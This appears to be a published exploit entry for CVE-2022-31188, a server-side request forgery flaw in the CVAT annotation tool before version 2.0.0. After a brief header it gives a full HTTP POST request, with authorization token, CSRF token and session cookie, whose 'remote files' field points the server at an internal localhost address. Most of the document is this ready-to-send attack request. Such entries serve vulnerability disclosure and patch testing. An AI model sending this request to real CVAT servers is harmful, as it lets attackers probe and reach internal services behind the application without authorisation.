#Exploit Title: CVAT 2.0 - SSRF (Server Side Request Forgery)
#Exploit Author: Emir Polat
#Vendor Homepage: https://github.com/opencv/cvat
#Version: < 2.0.0
#Tested On: Version 1.7.0 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
#CVE: CVE-2022-31188

# Description:
#CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability. 
#Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade.

POST /api/v1/tasks/2/data HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language:en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Token 06d88f739a10c7533991d8010761df721b790b7
X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGV
Content-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436
Content-Length: 569
Origin: http://localhost:8080
Connection: close
Referer:http://localhost:8080/tasks/create
Cookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dned
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="remote files[0]"

http://localhost:8081
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name=" image quality"

170
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use zip chunks"

true
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use cache"

true
-----------------------------251652214142138553464236533436--